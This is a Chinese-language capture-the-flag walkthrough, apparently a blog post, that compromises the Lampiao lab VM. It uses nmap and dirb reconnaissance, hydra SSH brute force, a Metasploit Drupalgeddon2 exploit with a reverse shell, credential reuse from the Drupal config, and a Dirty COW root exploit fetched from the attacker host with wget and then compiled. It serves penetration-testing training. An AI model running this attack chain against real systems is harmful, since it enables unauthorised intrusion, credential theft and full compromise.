确定主机 ip
信息收集
漏洞扫描
SSH暴力破解
1898端口(Drupal 7)网站漏洞扫描
漏洞利用
使用 msf 利用 drupalgeddon2漏洞 getshell
Linux shell 下收集信息获取tiago 用户 shell
提权
利用 SUID 权限程序提权失败
利用本地提权漏洞-脏牛漏洞提权
Lampiao 靶机渗透
Lampiao 靶机
确定主机 ip
netdiscover
![](https://i-blog.csdnimg.cn/blog_migrate/6f706405d819ff1de2fab0cf6d93d538.png)
或者:arp-scan -l
![](https://i-blog.csdnimg.cn/blog_migrate/334a551348b454f039b89f8f8efa03dc.png)
信息收集
端口扫描
命令:nmap192.168.150.145 -p- -O -sV
![](https://i-blog.csdnimg.cn/blog_migrate/548bd299ad0e29fc97007215563bac3f.png)
发现开放的端口:22,80,1898(Drupal7)
访问80端口:192.168.150.145:80
![](https://i-blog.csdnimg.cn/blog_migrate/c3fd0323421fb9ce177d289e61490110.png)
访问1898端口:192.168.150.145:1898
![](https://i-blog.csdnimg.cn/blog_migrate/532ecdc2a31560d2d3cfc497d9f26367.png)
网站目录扫描
dirb http://192.168.150.145:1898/
![](https://i-blog.csdnimg.cn/blog_migrate/a778b46da0a17dd8eb706b676fea3597.png)
发现了一些敏感文件 robots.txt、web.config、xmlrpc.php
通过网站生成字典
cewl http://192.168.150.145:1898 > userlam.txt
![](https://i-blog.csdnimg.cn/blog_migrate/5a57c348adeab2a426b2126c5fb94b72.png)
cewl http://192.168.150.145:1898 -w userlam.txt
可以查看内容:more userlam.txt
![](https://i-blog.csdnimg.cn/blog_migrate/37017505cbb3ce84832ea888e69d0de7.png)
漏洞扫描
可以对发现的端口进行破解
![](https://i-blog.csdnimg.cn/blog_migrate/10fa56fd8c8d6727a94479f70c2a0beb.png)
SSH 暴力破解
使用从网站生成的字典作为用户名,以及下载好的top1000 字典作为密码进行破解
kali中的字典:wordlists
![](https://i-blog.csdnimg.cn/blog_migrate/ff165df4cdad100a3a5072b79a2bf529.png)
hydra -L userlam.txt -P userlam.txt ssh://192.168.150.145
![](https://i-blog.csdnimg.cn/blog_migrate/0d9ea1380363973579e7838e4b315f50.png)
扫了好久,还是没有找到。
1898 端口(Drupal 7)网站漏洞扫描
使用 searchsploit 搜索 Drupal 7: searchsploitDrupal 7
![](https://i-blog.csdnimg.cn/blog_migrate/52af3b12f137e81085a8772c66a93149.png)
搜索 Drupal 7. Remote 定位 Drupal 7 的远程代码执行漏:searchsploitDrupal 7 remote code exe
![](https://i-blog.csdnimg.cn/blog_migrate/68e849010fb7c697a19ccfd16296bc60.png)
搜索 :searchsploitDrupal 7 | grep (Metasploit)
![](https://i-blog.csdnimg.cn/blog_migrate/9918303b9dcc07fd1beb246c8067aa90.png)
可以看出,远程代码执行,并且有对应的模块,
可以发现漏洞最多关键字是:Drupalgeddon,百度搜索:Drupalgeddon
![](https://i-blog.csdnimg.cn/blog_migrate/e9be0340ebb02662089ee6e270fa856f.png)
可以发现 Drupalgeddon2 漏洞应该是影响最多的,再次使用 searchsploit 搜索
![](https://i-blog.csdnimg.cn/blog_migrate/b41b54a1c8b7a4d54c334c04e83e5a31.png)
可以发现有两个实际的漏洞利用程序(都是ruby 的),一个 POC
自己调用比较麻烦,使用框架比较容易一些。
漏洞利用
使用 msf 利用 drupalgeddon2 漏洞 getshell
msfconsole,进入 msf 控制台,输入:searchdrupalgeddon2
![](https://i-blog.csdnimg.cn/blog_migrate/1bf44f0c74d2616ae89361bad962e3fb.png)
或者:searchdrupal
输入:useexploit/unix/webapp/drupal_drupalgeddon2
![](https://i-blog.csdnimg.cn/blog_migrate/b97aa7dc4b59a8220e85074474d529f5.png)
设置ip,端口,发起攻击
set RHOSTS 192.168.150.145
set PPORT 1898
run
![](https://i-blog.csdnimg.cn/blog_migrate/0df15acc2e6744bdfe730712a929c4f0.png)
反弹shell成功
输入:ls ,查看当前目录的文件,发现有一个mp3,还有一个audio.m4a
![](https://i-blog.csdnimg.cn/blog_migrate/4df59e36f1bf4d5c78051f717a25fee3.png)
可以发现一个mp3,访问该文件,能播放,但是听不懂
![](https://i-blog.csdnimg.cn/blog_migrate/be38ba655b9b0c1dcbb2faad5cbba0bf.png)
还有一个录音文件 audio.m4a,访问该文件
![](https://i-blog.csdnimg.cn/blog_migrate/b3dd434df61c08eb555e88662f86dca7.png)
输入:download audio.m4a, 下载该文件
![](https://i-blog.csdnimg.cn/blog_migrate/544c8e9b2feb13d0a263719a9a25dbcf.png)
里面的播放内容是:user tiago
在 msf中切换到/home 目录下,查看用户文件夹
![](https://i-blog.csdnimg.cn/blog_migrate/a4fc64878b8902e827b7fdff4f084694.png)
可以确定有这样一个用户tiago,查看之前生成的字典,发现还真有这个名字
![](https://i-blog.csdnimg.cn/blog_migrate/713dbe7d6a9cb5b8445f4cc972372307.png)
再次使用密码字典破解ssh
hydra -L userlam.txt -P userlam.txt ssh://192.168.150.145
![](https://i-blog.csdnimg.cn/blog_migrate/b56c6c7441a4b3c812e7a1815eedd3a5.png)
发现什么没有找到
Linux shell 下收集信息获取 tiago 用户 shell
输入:shell , 进入 linux shell
输入:python -c 'import pty; pty.spawn("/bin/bash")', 切换为bash
![](https://i-blog.csdnimg.cn/blog_migrate/97026af173ab35c46afa4b2ad3a8dd71.png)
百度搜索一些Drupal7 数据库配置文件
![](https://i-blog.csdnimg.cn/blog_migrate/bd411071421b7d63c0b2ee03ee5b4259.png)
在 shell 中查看文件:
![](https://i-blog.csdnimg.cn/blog_migrate/315c599fb449de461ad51364e29cc02a.png)
![](https://i-blog.csdnimg.cn/blog_migrate/4f2355b3f1086200174e9f3891a5851c.png)
数据库名drupal
用户名:drupaluser
密码:Virgulino
试着访问数据库: mysql -u drupaluser -p Virgulino
显示没有权限
![](https://i-blog.csdnimg.cn/blog_migrate/fcca8e51883fa57a1b1f8345c11b28d5.png)
再次尝试 mysql 用户名密码登录:mysql -u drupaluser -p
![](https://i-blog.csdnimg.cn/blog_migrate/ef51c0daeb317b138416f592236cc396.png)
居然成功了,看一下数据库
输入:show databases
use drupal
show tables
![](https://i-blog.csdnimg.cn/blog_migrate/398e643686d7e7274895d40f5d6da70d.png)
输入:select * from users;
![](https://i-blog.csdnimg.cn/blog_migrate/5e78ca0ad211b9f82c63603e79d95d6a.png)
密码是加密的,还是需要破解,现在已经筋疲力尽了,所以暂时不去破解了可以用数据库的密码切换一下 tiago 用户:Virgulino 发现可以切换
![](https://i-blog.csdnimg.cn/blog_migrate/7ff98c0711d949e1152b5b19e7af0255.png)
使用 id查看用户信息,sudo -l 查看权限信息,发现没有权限执行 sudo
![](https://i-blog.csdnimg.cn/blog_migrate/6fb730ae923994adcc526f6d54d905c6.png)
后来再一次尝试使用网站生成的字典破解ssh 密码,发现也可以破解出密码是 Virgulino
hydra -l tiago -P userlam.txt ssh://192.168.150.145
![](https://i-blog.csdnimg.cn/blog_migrate/5aa453b4d23d3501e944d6e3617b3eb7.png)
提权
利用 SUID 权限程序提权失败
查找可以利用的SUID 权限程序
find / -user root -perm -4000 -print 2>/dev/null
![](https://i-blog.csdnimg.cn/blog_migrate/d259895b9946ae90f9222aa8aee29b40.png)
暂时没有发现可以利用的点(常见可利用程序:nmap,vim,find,bash,more,less,nano,cp)
利用本地提权漏洞-脏牛漏洞提权
查看系统版本:uname-a, lsb_release -a
![](https://i-blog.csdnimg.cn/blog_migrate/d89dd6a77e1698a1371edee28b80e059.png)
系统:Ubuntu14.04.5 ,内核 4.4.0-31,i686
使用: searchsploit linux 4.4.0 搜索内核编号
![](https://i-blog.csdnimg.cn/blog_migrate/99ce0db220fd01d52eb690ace32c946e.png)
将源码拷贝到自己的目录中,下载到目标机器中编译执行,发现有的编译不了,有的执行不了。
使用 searchsploit 搜索脏牛漏洞: searchsploit linux dirty
![](https://i-blog.csdnimg.cn/blog_migrate/489be69185ace4cc962f4c72f7eb921f.png)
将40847.cpp 拷贝到自己目录中,查看代码如何编译
输入:cp/usr/share/exploitdb/exploits/linux/local/40847.cpp .
![](https://i-blog.csdnimg.cn/blog_migrate/eb874a79f953a07f82080b80ebf0428a.png)
输入:more 40847.cpp
![](https://i-blog.csdnimg.cn/blog_migrate/3ffa3379532bd199799b37823bb6d75f.png)
启动web 服务器:python -m SimpleHTTPServer
python3 -m http.server 80
![](https://i-blog.csdnimg.cn/blog_migrate/62dff1d4fa071132c18f84d4f30d88d3.png)
下载文件到目标机器中:wget http://192.168.150.137/40847.cpp
![](https://i-blog.csdnimg.cn/blog_migrate/84d3b052b82e45c051943d218423e350.png)
在目标机器中编译代码(切记不要在自己机器上编译)
查看命令
![](https://i-blog.csdnimg.cn/blog_migrate/18aba3940e4a9ba8bcb9e13b833e70c1.png)
编译命令:g++-Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
参数解释:
1.-Wall 一般使用该选项,允许发出 GCC 能够提供的所有有用的警告
2.-pedantic 允许发出 ANSI/ISO C 标准所列出的所有警告
3.-O2 编译器的优化选项的 4 个级别,-O0 表示没有优化,-O1 为缺省值,-O3 优化级别
最高
4.-std=c++11 就是用按 C++2011 标准来编译的
5.-pthread 在 Linux 中要用到多线程时,需要链接 pthread 库
6. -odcow gcc 生成的目标文件,名字为 dcow
![](https://i-blog.csdnimg.cn/blog_migrate/4ea8a71e129f0fe3722af6dcf28257e6.png)
执行./dcow-s 提权成功,切换到 root 目录,查看 flag.txt
![](https://i-blog.csdnimg.cn/blog_migrate/0e07881dc4e6b970cdccb8bfa37d98a6.png)
小结
使用了以下工具:
nmap,joomcan,msf,python自己 http 服务,gcc,g++ drupalgeddon2 漏洞,脏牛漏洞
本节涉及的失败:
ssh暴力破解失败
寻找suid 程序提权失败
编译linux 提权程序失败
领悟小结:
暴力破解不是万能的,信息收集才是万能的